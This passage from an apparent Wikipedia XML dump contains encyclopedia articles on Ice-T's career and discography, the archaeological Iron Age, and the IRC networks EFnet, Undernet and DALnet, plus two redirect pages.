Ice-T has written and performed songs for many movie [[soundtrack]]s including &quot;Big Gun&quot; for ''[[Tank Girl]]'' as well as [[title track|title tracks]] for ''[[Colors_(film)|Colors]]'', ''[[Dick Tracy]]'', ''[[New Jack City]]'', ''Ricochet'', and ''Trespass'' (with [[Ice Cube]].) (He starred in all of them, save ''Dick Tracy''.) He teamed with [[Kid Frost]] to perform &quot;Tears of a Mother&quot; for the film ''No Mothers Crying, No Babies Dying''.

===Actor===
[[Image:Ice-t.jpg|thumb|right|Ice T, on ''Law &amp; Order: Special Victims Unit''.]] He debuted as a rapper in the films ''[[Breakin']]'' and ''[[Breakin' 2: Electric Boogaloo]]'' in [[1984]], only two years after his first 12&quot; (&quot;The Coldest Rap,&quot; [[1982]]) appeared. In [[1991]], he embarked onto a serious acting career, playing a police detective in [[Mario Van Peebles]]' film [[New Jack City]], followed by a notable lead role performance in ''[[Surviving the Game]]'' in addition to his many supporting roles. He has also appeared in films such as ''R'Xmas'' by [[Abel Ferrara]] and ''Tank Girl''. As for more current/recent acting engagements, Ice-T plays Det. [[Odafin Tutuola|Odafin &quot;Fin&quot; Tutuola]] on ''[[Law &amp; Order: Special Victims Unit]]'', perhaps an ironic role, considering the early controversy surrounding his group [[Body Count]]. Another TV series that features Ice-T is &quot;Players.&quot;   Ice-T also appears in the movie [[Leprechaun (movie)|Leprechaun in the Hood]].

Ice-T also voiced Madd Dogg in the video game ''[[Grand Theft Auto: San Andreas]]'' and appears as himself in ''[[Def Jam: Fight for NY]]''.

===Name===
Ice-T was influenced by and takes his name from [[Iceberg Slim]], an African American pimp-turned-author (and the same inspiration for the stage name of rapper [[Ice Cube]]) who wrote an autobiography and many other books. Ice-T wrote an introduction to Iceberg Slim's last book, ''Doom Fox''.

==Discography==

===Albums===
* ''[[Rhyme Pays]]'' (Sire/Warner, 1987)
* ''[[Power (Ice T)|Power]]'' (Sire/Warner, 1988)
* ''[[The Iceberg/Freedom of Speech...Just Watch What You Say]]'' (Sire/Warner, 1989)
* ''[[OG: Original Gangster]]'' (Sire/Warner, 1991)                        
* ''[[Home Invasion]]'' (Priority, 1993)
* ''[[VI - Return of the Real]]'' (Priority, 1996)
* ''[[The Seventh Deadly Sin]]'' (Coroner, 1999)

===Scores===
* ''Below Utopia: The Lost Score'' (Noo Trybe, 1998, soundtrack/to the movie Below Utopia aka Body Count)
* ''Music from the Motion Picture [[Judgment Night (film)|Judgment Night]]'' (1993, together with [[Slayer]], song ''Disorder'')

===Singles===
* &quot;The Coldest Rap&quot; (1982)
* &quot;Body Rock&quot; (1984)
* &quot;Killers&quot; (1984)
* &quot;Ya Don't Quit&quot; (1985)
* &quot;Dog N The Wax&quot; (1986)
* &quot;6 In The Mornin'&quot; (1986)
* &quot;Colors&quot; (1988)
* &quot;I'm Your Pusher&quot; (1988)
* &quot;High Rollers&quot; (1989)
* &quot;You Played Yourself&quot; (1989)
* &quot;Lethal Weapon&quot; (1989)
* &quot;Dick Tracy&quot; (1990)
* &quot;Superfly 1990&quot; (1990) performed by [[Curtis Mayfield]] and Ice-T
* &quot;New Jack Hustler&quot; (1991)
* &quot;Ricochet&quot; (1991)
* &quot;Trespass&quot; (1992) performed by Ice-T and [[Ice Cube]]
* &quot;Disorder&quot; (1992) &quot;Judgment Night&quot; performed by [[Slayer]] and Ice-T
* &quot;That's How I'm Livin'&quot;/&quot;99 Problems&quot; (1993)
* &quot;Gotta Lotta Love&quot; (1994)
* &quot;I Must Stand&quot; (1996)
* &quot;Don't Hate the Player&quot; (1999)
* &quot;Money, Power, Women&quot; (2000)

===Compilations and Bootlegs=== 
* Ice-T &amp; King Tee ''Having a T Party'' (Rams Horn 1991)
* ''The Classic Collection'' (Excello/Rhino 1993) Exec. Producer    [[DJ Flash]]
* ''Cold as Ever'' (Blue Dolphin/Hitman/Caroline 1996) Exec. Producer [[DJ Flash]]
* ''Greatest Hits: The Evidence'' (Coroner/Warner 2000)
* ''The Early Years'' (2002)
* ''Gang Culture'' (Snapper, 2004) (Ice-T live in [[Montreux]], [[Switzerland]], 1995) (bootleg recording, released and distributed by a Dutch label called Disky and by Snapper/Charly in the UK)

===with [[Body Count]]===
* ''[[Body Count (album)|Body Count]]'' (1992)  
* ''Born Dead'' (1994)
* ''Violent Demise: The Last Days'' (1997)

===Ice T presents the West Coast Rydaz===

* ''What Really Goez On'' (1998)

===Analog Brothers===

* ''&quot;Pimp to Eat&quot;'' (2000)

===Ice T Presents===

* ''Pimpin 101 - The Soundtrack'' (2003)
* ''Westside'' (2004)

===with SMG (Sex Money and Gunz)===
* ''Repossession'' (2004)

==Videography==

* ''The Iceberg Video'' (1989)
* ''O.G.: The Original Gangster Video'' (1991)

==Awards==
*[[MTV Movie Awards 1992|MTV Movie Award nominee]]

==Note==
Although one of [[West Coast hip hop| West Coast rap's]] leading figures, Tracy Morrow (commonly known as Ice-T) was actually born in [[Newark, New Jersey| Newark]], [[New Jersey]]. He moved from Newark, when his parents unfortunately died in a motor vehicle accident. Still a young child he went to live with relatives in Los Angeles.

After settling down with relatives, who lived in [[South Los Angeles| South Los Angeles']] (more often referred to as South Central) [[Crenshaw| Crenshaw district]], he quickly became infatuated with the ways of &quot;ghetto street life&quot; and eventually even joined in with one of the many [[Crips]] sets, an infamous street gang, which took root in South Central Los Angeles. He would ultimately end up taking the street moniker Ice-T after the famous ex-pimp turned author [[Iceberg Slim]].

He also attended Crenshaw High School, where he would become obsessed with rap, often reciting rhymes for classmates. After leaving high school he would join the US Army Rangers until 1981. Then would begin his extremely long career of recording raps for various studios before finally landing a deal with a major label, Sire Records, and shortly after releasing his debut album &quot;Rhyme Pays&quot;.

Ice-T is believed to be the first rapper to have ever performed the notorious [[Crip Walk]] (or C-Walk) up on stage, in front of cameras sometime in the 80's. This added to his already controversial fame and gave rise to the C-Walks mainstream in other video's via [[WC (rapper)| WC]] (pronounced Dub C, or just simply Dub), [[Snoop Dogg]], [[Warren G]], and other Crip-turned-rapper artists.      

All of Ice-T's records on Warner Brothers spell his name '''Ice-T''', while the spelling without the hyphen is more often used on more recent records. His earliest 12&quot; shows the spelling '''Ice &quot;T&quot;''', other 12&quot;s use '''Ice-T''' (&quot;Reckless&quot;) and '''Ice T''' (&quot;Ya Don't Quit&quot;).

==External links==
*{{imdb name|id=0001384|name=Ice T}}
* [http://www.svufans.byethost11.com/ SVU Fans]
* {{musicbrainz artist|id=8a75ce0d-1df3-47cc-b076-ce2f4e8250f0|name=Ice-T}}

[[Category:1958 births|Ice T]]
[[Category:African-American actors]]
[[Category:American film actors]]
[[Category:American rappers]]
[[Category:American television actors]]
[[Category:Crips]]
[[Category:Batman actors]]
[[Category:Law &amp; Order: Special Victims Unit actors|Ice T]]
[[Category:Living people|Ice T]]
[[Category:Musical activists]]
[[Category:New Jersey musicians]]
[[Category:People from New Jersey]]
[[Category:United States Army soldiers|Ice T]]
[[Category:Anti-Iraq war Veterans|Ice T]]

[[als:Ice T]]
[[ar:ترايسي مورو]]
[[de:Ice-T]]
[[fr:Ice-T]]
[[nl:Ice-T]]
[[pl:Ice T]]</text>
    </revision>
  </page>
  <page>
    <title>Inosite triphosphate</title>
    <id>14710</id>
    <revision>
      <id>15912246</id>
      <timestamp>2002-05-07T02:10:02Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <comment>redirect -&amp;gt; inositol triphosphate</comment>
      <text xml:space="preserve">#REDIRECT[[Inositol triphosphate]]</text>
    </revision>
  </page>
  <page>
    <title>Iron Age</title>
    <id>14711</id>
    <revision>
      <id>41792467</id>
      <timestamp>2006-03-01T20:04:56Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">:''This article is about the archaeological period known as the Iron Age; for the mythological Iron Age see [[Ages of Man]].''

In [[archaeology]], the '''Iron Age''' is the stage in the development of any people where the use of [[iron]] implements as tools and weapons is prominent. The adoption of this new material coincided with other changes in past societies often including differing agricultural practices, religious beliefs and artistic styles.

The Iron Age is the last principal period in the [[three-age system]] for classifying [[prehistory|pre-historic]] societies and its meaning varies depending on the country or geographical region. This variation even occurs within [[Europe]] where the Iron Age distinction was first identified; the [[Nordic]] Iron Age and [[Roman Iron Age]] are examples. The Iron Age was preceded by the [[Copper Age]] and later the [[Bronze Age]] in Europe and [[Asia]] whilst in the rest of the world it was adopted directly after one or other sub-phases of the [[Stone Age]].

For each individual region, the period is very hard to state in years, but the Iron Age corresponds to the stage at which iron production was the most sophisticated form of [[metalworking]]. Iron's hardness, high melting point and the abundance of [[iron ore]] sources made iron more desirable and &quot;cheaper&quot; than bronze and contributed greatly to its adoption as the most commonly used metal. The arrival of iron use in various areas is listed below, broadly in chronological order.

Because iron working was introduced directly to the [[Americas]] and [[Australasia]] by European colonization, there was never an iron age in either location.

==The Iron Age==
The first signs of iron use come from [[Ancient Egypt]] and [[Sumer]], where around [[4000 BC]] small items, such as the tips of spears and ornaments, were being fashioned from iron recovered from [[meteorite]]s (see [[Iron#History|Iron: History]]). By [[3000 BC]] to [[2000 BC]] increasing numbers of [[smelting|smelted]] iron objects (distinguishable from meteoric iron by the lack of nickel in the product) appear in  [[Anatolia]], [[Egypt]], [[Mesopotamia]] and the [[Indus Valley Civilisation|Indus Valley]] ([[Pakistan]] and [[North India]]). However, their use appears to be ceremonial, and iron was an expensive metal, more expensive  than [[gold]]. Some sources suggest that iron was being created then as a by-product of [[copper]] refining, as [[sponge iron]], and was not reproducible by the metallurgy of the time. 
The earliest systematic production and use of iron implements appears from the [[14th century BC]] in the [[Hittite Empire]] though recent excavations in Middle [[Ganga|Ganga Valley]] in [[India]] done by archaelogist Rakesh Tewari show Iron working in India since [[1800 BC]]. By [[1200 BC]], iron was widely used  in the [[Middle East]] but did not supplant the dominant use of [[bronze]] for some time.

==The Iron Age in Asia==
===Indian Subcontinent===
Recent excavations in Middle [[Ganga|Ganga Valley]] in [[India]] done by archaelogist Rakesh Tewari show iron working in India since 1800 BC. Archaeological sites in India, such as [[Malhar]], Dadupur, Raja Nala Ka Tila and Lahuradewa in the state of [[Uttar Pradesh]] show iron implements in the period between 1800 BC - 1200 BC.

The [[Black and red ware culture|Black and Red Ware culture]] was another early Iron Age archaeological culture of the northern [[Indian Subcontinent]]. It is dated to roughly the 12th – 9th centuries BC, and associated with the post-[[Rigvedic]] [[Vedic civilization]]. It reached from the upper [[Gangetic plain]] in [[Uttar Pradesh]] to the eastern [[Vindhya]] range and [[West Bengal]].

Perhaps as early as [[300 BC]], although certainly by [[200|200 A.D.]], high quality steel was being produced in [[South India|southern India]] by what Europeans would later call the [[crucible steel|crucible technique]]. In this system, high-purity wrought iron, charcoal, and glass were mixed in crucibles and heated until the iron melted and absorbed the carbon. The resulting high-carbon steel, called '''''fūlāḏ فولاذ''''' in [[Arabic language|Arabic]] and '''''[[wootz steel|wootz]]''''' by later Europeans, was exported throughout much of Asia and Europe.

===Near East===
The Iron Age in the [[Near East]] is believed to have begun with the discovery of iron smelting and smithing techniques in [[Anatolia]] or the [[Caucasus (geographic region)|Caucasus]] in the late [[2nd millennium BC]] (circa [[1300 BC]]). From here it spread rapidly throughout the Near East as iron weapons replaced bronze weapons by the early [[1st millennium BC]]. The use of iron weapons by the [[Hittites]] is believed to have been a major factor in the rapid rise of the Hittite Empire. Because the area in which iron technology first developed was near the Aegean, where [[Asia]] meets [[Europe]], the technology propagated equally early into both Asia and Europe, aided by Hittite expansion. The [[Sea Peoples]] and the related [[Philistines]] are often associated with the introduction of iron technology into Asia, as are the [[Dorians]] with respect to [[Ancient Greece|Greece]]. It ought also be noted that the [[Assyrian Empire]] had trade contacts with the area in which iron technology was first developed at the time that it was developing.

===East Asia===
Cast-iron artifacts are found in [[history of China|China]] that date as early as the [[Zhou dynasty]] of the [[6th century BC]].  An Iron Age culture of the [[Tibetan Plateau]] has tentatively been associated with the [[Zhang Zhung culture]] described in early Tibetan writings. In 1972, near the city of [[Gaocheng]] (藁城) in [[Shijiazhuang]] (now [[Hebei]] province), an iron-bladed [[bronze]] [[Tomahawk (axe)|tomahawk]] (&amp;#38081;&amp;#20995;&amp;#38738;&amp;#38108;&amp;#38074;) dating back to the [[14th century BC]] was excavated. After a scientific examination, the iron was shown to be made from [[aerosiderite]].

In the Korean Peninsula, iron objects were introduced through trade just before the Western Han Dynasty began (c. 300 B.C.). Iron ingots became an important mortuary item in Proto-historic Korea. Iron production quickly followed in the 2nd century B.C., and iron implements came to be used by many farmers by the 1st century A.D. in Southern Korea.

== The Iron Age in Africa ==
The earliest known production of steel occurred around [[1400 BC]] in [[North Africa]]  where steel was being produced in carbon [[furnace]]s. The [[Egypt]]ian ruler [[Tutankhamun]] died in [[1323 BC]] and was buried with an iron dagger with a golden hilt. Also an Egyptian sword bearing the name of [[pharaoh]] [[Merneptah]] and a [[battle axe]] with an iron blade and gold-decorated bronze haft were both found in the excavation of [[Ugarit]] (see [[Ugarit#History|Ugarit: History]] and [[Steel#History of iron and steelmaking|Steel: History of iron and steelmaking]]), dating to circa [[1400 BC]]. The [[Kushite]] city of [[Meroe]] near modern-day [[Khartoum]] was an important site of iron-smelting during the 5th and 6th centuries BC. 

The [[Nok]] civilization became the first iron [[smelting]] people in [[West Africa]]. Iron and copper working then continued to spread southward through the continent, reaching the Cape around 200 A.D. The widespread use of iron revolutionised the [[Bantu]] farming communities who adopted it, driving out the stone tool using hunter-gatherer societies they encountered as they expanded to farm wider areas of [[Savanna|savannah]]. The technologically superior Bantu spread across southern Africa and became rich and powerful, producing iron for tools and weapons in large, industrial quantities.

==The European Iron Age== 
Iron working was introduced to [[Europe]] around [[1000 BC]], probably from [[Asia Minor]] and slowly spread westwards over the succeeding 500 years. In the Netherlands, a starting date from about [[800 BC]] is generally accepted. The Romans introduced writing and therefore ended the prehistoric Dutch Iron Age around 50 A.D.

===Eastern Europe===
The early 1st millennium BC marks the Iron Age in Eastern Europe. In the steppes north of the [[Black Sea]] and [[Azov Sea]] and the [[Caucasus (geographic region)|Caucasus]], the Iron Age begins with the [[Koban culture|Koban]] and the [[Novocerkassk culture|Chernogorovka and Novocerkassk]] cultures from ca. 900 BC. By 800 BC, it was spreading to [[Hallstatt culture|Hallstatt C]] via the alleged &quot;[[Thraco-Cimmerian]]&quot; migrations. From the Hallstatt culture, the Iron Age spreads west with the [[Celt]]ic expansion from the 6th century BC. In Poland, the Iron Age reaches the late [[Lusatian culture]] in about the 6th century, followed in some areas by the [[Pomerania|Pomeranian]] culture. 

The ethnic ascriptions of many Iron age cultures has been bitterly contested, as the roots of [[Germanic peoples|Germanii]] and [[Slavs]] were sought in this area.

===Central Europe===
In Central Europe, the Iron Age is generally divided in the early Iron Age [[Hallstatt culture]] (HaC and D, [[800 BC|800]]-[[450 BC|450]]) and the late Iron Age [[La Tène culture]] (beginning in [[450 BC]]). The Iron age ends with the Roman Conquest.

===Mediterranean Europe===
In Italy, the Iron Age was probably introduced by the [[Villanovan culture]] but this culture is otherwise considered a Bronze Age culture, while the following [[Etruscan civilization]] is regarded as part of Iron Age proper. The Etruscan Iron Age was then ended with the rise and conquest of the [[Roman Republic]], which conquered the last Etruscan city of [[Velzna]] in [[265 BC]].

===British Isles===
''For a fuller discussion see the [[British Iron Age]] article.''
In [[Britain]], the Iron Age lasted from about the [[5th century BC]] until the Roman conquest and until the [[5th century|5th century A.D.]] in non-Romanised parts. Defensive structures dating from this time are often impressive, for example the [[Broch|brochs]] of northern [[Scotland]] and the [[hill fort]]s that dotted the rest of the islands. 

===Northern Scandinavia and Finland===
Scandinavia (including Finland) and Northern [[Balticum]] shows a small-scaled iron producing very early, but a further dating is currently impossible. The time varies from 3000 BC-1000 A.D. This knowledge is associated to the non-Germanic part of Scandinavia. Metalworking and [[Asbestos-Ceramic]] pottery are somewhat synonymous in Scandinavia due to the latter's capability to resist and preserve heat. The [[iron ore]] used is believed to have been [[iron sand]] (such as [[red soil]]), because its high phosphorus content can be identified in [[slag]]. Together with [[asbestos ware]] axes belonging to the [[Ananjino Culture]] are sometimes found. The Asbestos-Ceramic remains a mystery, because there are other [[adiabatic]] vessels with unknown usage.

===Northern Germany and Southern Scandinavia===
The Iron Age is divided into the [[Pre-Roman Iron Age]] and the [[Roman Iron Age]]. This is followed by the [[Human migration|migration period]]. Northern Germany and Denmark was dominated by the [[Jastorf culture]], whereas the culture of the southern half of the Scandinavia was dominated by the very similar ''Nordic Iron Age''.

==See also==
*[[List of archaeological periods]]
*[[List of archaeological sites]]
*[[Iron#History|History Of Iron]]

{{threeagesystem}}

[[Category:Periods and stages in archaeology]]
[[Category:Iron Age| ]]
[[Category:Prehistory]]

[[ast:Edá del Fierro]]
[[cy:Yr Oes Haearn]]
[[da:Jernalder]]
[[de:Eisenzeit]]
[[et:Rauaaeg]]
[[el:Εποχή του Σιδήρου]]
[[es:Edad de Hierro]]
[[eo:Ferepoko]]
[[fr:Âge du fer]]
[[gl:Idade de Ferro]]
[[ko:철기 시대]]
[[it:Età del ferro]]
[[he:תקופת הברזל]]
[[lv:Dzelzs laikmets]]
[[lt:Geležies amžius]]
[[nl:IJzertijd]]
[[nds:Iesentiet]]
[[ja:鉄器時代]]
[[no:Jernalderen]]
[[pl:Epoka żelaza]]
[[pt:Idade do Ferro]]
[[simple:Iron Age]]
[[sl:Železna doba]]
[[sr:Гвоздено доба]]
[[sv:Järnåldern]]
[[zh:铁器时代]]</text>
    </revision>
  </page>
  <page>
    <title>EFnet</title>
    <id>14712</id>
    <revision>
      <id>42010071</id>
      <timestamp>2006-03-03T04:56:30Z</timestamp>
      <contributor>
        <ip>71.64.98.163</ip>
      </contributor>
      <comment>/* EFnet Servers */</comment>
      <text xml:space="preserve">{{IRC networks}}

'''EFnet''' or '''Eris Free network''' (also written '''EFNet''') is a major [[Internet relay chat|IRC]] network, with over 100,000 users.  It is the modern-day descendant of the original IRC network.

Initially, most IRC servers formed a single network, to which new servers could join without restriction, but this was soon abused by people who set up servers to sabotage other users, channels or servers.  When, in August 1990, server &lt;code&gt;eris.berkeley.edu&lt;/code&gt; remained the only one to allow anyone to connect servers, IRC server operator [[Greg Lindahl]] broke away to start EFnet. The resulting argument split the IRC community of admins into EFnet and [[A-net]], but A-net soon vanished, leaving EFnet as the only IRC network.

Continuing problems with performance and abuse eventually led to the rise of another major IRC network, [[Undernet]], which split off in October 1992.

In July 1996, disagreement on policy caused EFnet to break in two: the slightly larger European half (including Australia and Japan) formed [[IRCnet]], while the American servers continued as EFnet.  This was widely known as the [http://www.irc.org/history_docs/TheGreatSplit.html Great Split].

EFnet is probably the least &quot;unified&quot; IRC network, with large variations in server rules and policy between different servers.  There are three major regions on EFnet which each have their own policy structure.  They are EU, CA, and US.  Each region votes on its own server applications.  However, central policies are voted upon by the admin community.  An archive of previous votes can be found at EFnet's [http://voting.efnet.net voting site].

IRC clients can connect to EFnet via &lt;code&gt;irc.efnet.us&lt;/code&gt; or any number of other servers.

In July 2001 a service called [http://www.efnet.org/chanfix/ CHANFIX] (originally named JUPES) was created, which is designed to give back ops to channels which have lost ops or been taken over. In the case of having no ops CHANFIX will automatically join the channel and op people who fit the requirements. 

For a takeover, a request must be made for a manual activation of CHANFIX.  Once connected to EFnet, a user can find an [[IRC operator]] with the command:  &lt;code&gt;/stats p&lt;/code&gt;

A vast majority of servers on EFnet run [http://www.ircd-ratbox.com/ ircd-ratbox]. A handful run [http://www.ircd-hybrid.com/ ircd-hybrid], and literally one or two run [http://www.codestud.com/ircd/ csircd].

== EFnet Servers ==
United States of America

* irc.efnet.us - USA Round Robin
* irc.blackened.com - Phoenix, AZ - [http://www.limelightnetworks.com/ Limelight Networks]
* irc.blessed.net -  San Jose, CA - [http://www.blessed.net/ Blessed Networks]
* irc.choopa.net - New York, NY - [http://www.choopa.com/ Choopa LLC] 
* irc.colosolutions.com - Orlando, FL - [http://www.colosolutions.com/ ColoSolutions] 
* irc.desync.com - Tampa, FL - [http://www.powermedium.com/ PowerMedium] - birthplace of wikipedia
* irc.easynews.com - Phoenix, AZ - [http://www.easynews.com/ EasyNews] 
* irc.he.net - Fremont, CA - [http://www.he.net/ Hurricane Electric] 
* ircd.lagged.org - Ashburn, VA - [http://www.nlayer.net/ nLayer]
* irc.mindspring.com - Atlanta, GA - [http://www.earthlink.com/ Earthlink, Inc]
* irc.mzima.net - Los Angeles, CA - [http://www.mzima.net/ Mzima Networks]
* irc.nac.net - New York, NY - [http://www.nac.net/ Net Access Corporation]
* irc.prison.net - Sunnyvale, CA - [http://www.globalcrossing.com/ Global Crossing]
* irc.ptptech.com -  Ashburn, VA - [http://www.pulltheplug.com/ Pull the Plug]
* irc.servercentral.net - Chicago, IL - [http://www.servercentral.net/ ServerCentral]
* irc.umich.edu - Ann Arbor, MI - [http://www.umich.edu/ University of Michigan]  
* irc.umn.edu - Minneapolis, MN - [http://www.umn.edu/ University of Minnesota]
* irc.wh.verio.net - Reston, VA - [http://www.verio.com/ NTT/Verio]
* irc.vel.net - Los Angeles, CA - [http://www.vel.net/ Velocity Networks]

Canada

* irc.efnet.ca - CA Round Robin
* irc.arcti.ca - Calgary, Alberta - [http://www.shaw.ca/ Shaw Cable]
* irc.dks.ca - Toronto, Ontario - [http://www.dks.ca/ DKS]
* irc.igs.ca - Toronto, Ontario - [http://www.ott.igs.net/ IGS]

Europe

* irc.eu.efnet.info - EU Round Robin
* efnet.cs.hut.fi - Helsinki, FI - [http://www.hut.fi/ Helsinki University of Technology]
* efnet.demon.co.uk - London, UK - [http://www.demon.net/ Demon Internet]
* efnet.port80.se - Stockholm, SE - [http://www.port80.se/ Port80]
* efnet.xs4all.nl - Amsterdam, NL - [http://www.xs4all.nl/ Xs4All Internet]
* irc.ac.za - Cape Town, South Africa - [http://www.tenet.ac.za/ Tenet]
* irc.dataphone.se - Stockholm, SE - [http://www.dataphone.net/ Dataphone]
* irc.daxnet.no - Oslo, NO - [http://www.tele2.no/ Tele2 Norway]
* irc.dkom.at - Vienna, AT - [http://www.telekom.at/ TeleKom Austria]
* irc.du.se - Borlange, SE - [http://www.du.se/ Dalarnas University]
* irc.efnet.fr - Paris, Fr - [http://www.bsocom.com/ BSO Communications]
* irc.efnet.nl - Ede, NL - [http://www.bit.nl/ Business Internet Trends]
* irc.efnet.no - Oslo, NO - [http://www.banetele.com/ BaneTele AS]
* irc.efnet.pl - Warsaw, PL - [http://www.atm.com.pl/atman ATMAN]
* irc.homelien.no - Oslo, NO - [http://www.powertech.no/ Powertech]
* irc.inet.tele.dk - Aarhus, DK - [http://www.tdc.dk/ Tele Denmark]
* irc.inter.net.il - Tel Aviv, IL - [http://www.inter.net.il/ Internet Zahav]
* irc.pte.hu - Pècs, Hungary - [http://www.pte.hu/ University of Pècs]

Only a handful of servers on EFnet support [[IPv6]].  They are:
* irc.choopa.net
* irc.homelien.no
* efnet.ipv6.xs4all.nl
* irc.efnet.nl
* efnet.ipv6.port80.se
* irc.ptptech.com
* irc.ipv6.inter.net.il

==External links==
*[http://www.efnet.org/ EFnet IRC Network] — Official Website
**[http://www.efnet.org/?module=servers EFnet Server list]
**[http://map.efnet.org/ EFnet Network routing map]
**[http://chat.efnet.org/ EFnet Webchat portal]
**[http://forum.efnet.org/ EFnet Discussion forums]


[[Category:IRC networks]]
[[Category:Virtual communities]]

[[de:EFnet]]
[[fr:EFnet]]
[[sv:EFnet]]</text>
    </revision>
  </page>
  <page>
    <title>Undernet</title>
    <id>14713</id>
    <revision>
      <id>39122963</id>
      <timestamp>2006-02-10T21:35:04Z</timestamp>
      <contributor>
        <username>Gavin86</username>
        <id>157471</id>
      </contributor>
      <comment>utilise -&gt; utilize</comment>
      <text xml:space="preserve">{{IRC networks}}
The '''Undernet''' is one of the largest [[Internet relay chat|IRC]] networks. It was established in [[October]] [[1992]] as an experimental network running a modified version of the [[EFnet]] irc2.7 IRC server software, created in an attempt to make it less bandwidth consumptive and less chaotic, as [[netsplit|netsplits]] and takeovers were starting to plague EFnet.

Undernet was formed at a time when many small IRC networks were being started and subsequently disappearing; however, it managed to grow into one of the largest and oldest IRC networks despite some initial in-fighting and setbacks.  It is notable as being the first network to utilize '''[[Internet relay chat#Abuse_prevention:_timestamping_vs._nick.2Fchannel_delay_protocol|timestamping]]''' in the IRC server protocol as a means to curb abuse.

Perhaps as a backlash against its &quot;breakway&quot; from EFnet, during the mid [[1990s]] Undernet managed to develop a reputation — which its members vehemently state was undeserved — as a haven for online criminals, pedophiles, and child molesters.  For a period in [[1994]], Undernet was wracked by an ongoing series of flame wars and slanderous attacks by members of the infamous [[Westboro Baptist Church]].  Undernet survived this period relatively intact, however, and its popularity continues to the present day.

Undernet is one of the largest realtime chat networks in the world, with approximately 17 servers accepting client connections and serving more than 1 000 000 people weekly. The userbase spans all ages, nationalities and interests, providing a tremendous variety of channels, with many staff and volunteers to help out new users.

Undernet provides several support channels for those new to IRC and Undernet, for example '''#beginner''', '''#newbies''' or '''#help'''.

IRC clients can connect to Undernet via continental aliases such as &lt;code&gt;us.undernet.org&lt;/code&gt; or &lt;code&gt;eu.undernet.org&lt;/code&gt;, or any of a number of other servers.

== External links ==

* [http://www.undernet.org/ Undernet Homepage]
* [http://cservice.undernet.org/ Undernet Channel Service]
* [http://coder-com.undernet.org/ Undernet Coder Committee]
* [http://routing-com.undernet.org/ Undernet Routing Committee]
* [http://user-com.undernet.org/ Undernet User Committee]
* [http://www.undernet.org/servers.php Current Undernet servers]
* [http://www.user-com.undernet.org/documents/uhistory.php Undernet history]
* [http://help.undernet.org/ General IRC Help]
* [http://dmsetup.org/ Free Malware Assistance]

[[Category:IRC networks]]

[[de:Undernet]]
[[fr:Undernet]]</text>
    </revision>
  </page>
  <page>
    <title>IRC/IRCNet</title>
    <id>14714</id>
    <revision>
      <id>15912250</id>
      <timestamp>2004-03-05T02:30:17Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; IRCnet</comment>
      <text xml:space="preserve">#REDIRECT [[IRCnet]]</text>
    </revision>
  </page>
  <page>
    <title>DALnet</title>
    <id>14715</id>
    <revision>
      <id>39857446</id>
      <timestamp>2006-02-16T09:27:35Z</timestamp>
      <contributor>
        <username>Bbx</username>
        <id>35341</id>
      </contributor>
      <comment>Dalvenjah -&gt; dalvenjah (source ftp://ftp.dal.net/dalnet/document/official-help/history.txt)</comment>
      <text xml:space="preserve">{{dablink|For other meanings, see [[DALNET]].}}
{{IRC networks}}
'''DALnet''' is an [[Internet relay chat]] (IRC) [[Computer network|network]] founded in July [[1994]] by members of the [[EFNet]] [[Star Trek|#startrek]] channel. This new network was known as &quot;dal's net&quot;, after the nickname used by the administrator of the first IRC server on the network, &quot;dalvenjah&quot;, taken from the [[European dragon|dragon]] &quot;Dalvenjah Foxfire&quot;, in a [[fantasy]] novel by [[Thorarinn Gunnarsson]]. The network was soon renamed from dal's net to DALnet.

At one point DALnet was one of the five biggest IRC networks. It is accessible by connecting with an [[IRC client]] to an active DALnet server on ports 6000 through 6669 and 7000.

From 25 users in July [[1994]], the number of users grew to 1,000 by November [[1995]], 5000 by June [[1996]], 10,000 by December [[1996]], 50,000 by October [[1999]], 100,000 in November [[2001]], and peaked around 142,000 in April [[2002]]. The number of servers grew from 2&amp;ndash;4 when started, peaking at 44 in April [[2002]]. The network is currently populated by a stable population of around 40,000 users (neither growing nor shrinking appreciably) in about 18,000 channels, with 40 servers making up the network.

In contrast to other IRC networks of the time, in 1995 DALnet implemented &quot;services&quot;, a system that enforced IRC nickname and channel registrations. Traditionally, on IRC, nobody can own a channel or a nickname; if no one is using it, it can be used by anyone who chooses to do so. On DALnet, however, this was no longer the case. This service—which many users saw as a way of firmly establishing their online identities—was a significant factor in DALnet's popularity and afforded the network a distinctive reputation among IRCers. While attempts to implement a similar system had been made before and other networks have since developed registration services of their own, at the time DALnet's successful decision to allow and enforce nickname and channel registration was considered to be unique and even controversial, as it went against established practice.

The network operation was severely disrupted in late [[2002]] and early [[2003]] due to [[distributed denial of service]] attacks. Added to the DDoS issues was the fact that the owner of tsunami.dal.net (the world's largest single IRC server, hosting more than 30,000 clients most of the time) delinked his servers (for personal reasons). The other servers on the network could not absorb the extra client load, leading to users' complete inability to connect to DALnet. The network was first crushed by attacks, and then by its own userbase. About 60% of DALnet's population moved to other IRC networks due to these extended connectivity issues.

In [[2003]], DALnet put up their first [[anycast]] servers under the name &quot;The IX Concept&quot;, and made irc.dal.net resolve to the anycast IP. Since then, most new client servers linked are anycast.

DALnet has since recovered and remains functional, though it no longer tops the list of the most populated IRC networks. [[As of 2004]], DALnet is the seventh largest publicly monitored IRC network by average monthly user count.

==DALnet Recommended Help Channels==
* [http://help.dal.net/ An online centralized Help resource for the DALnetIRC Network]
* [http://help.dal.net/dnh/ #DALnetHelp - For DALnet Services Help]
* [http://help.dal.net/help/ #Help - For DALnet Basic IRC Commands for newbies]
* [http://help.dal.net/irchelp/ #IRCHelp - For all round help]
* [http://help.dal.net/operhelp/ #OPERHelp - For IRC Operator Assistance]
* [http://help.dal.net/helpdesk/ #helpdesk - For mIRC Scripting Help]

==External links==
* [http://www.dal.net/ DALnet web site]
* [http://www.internetnews.com/dev-news/article.php/1573551 Impact of the DDoS attacks on DALnet]
* [http://irc.netsplit.de/networks/details.php?net=DALnet&amp;point=years DALnet stats] from [http://irc.netsplit.de/ irc.netsplit.de]
* [ftp://ftp.dal.net/dalnet/document/official-help/history.txt DALnet History]
* [http://www.weks.net/wiki/DALnet_IX_Concept IX Concept information]

[[Category:IRC networks]]

[[de:DALnet]]
[[fr:DALnet]]</text>
    </revision>
  </page>
  <page>
    <title>BitchX</title>
    <id>14716</id>
    <revision>
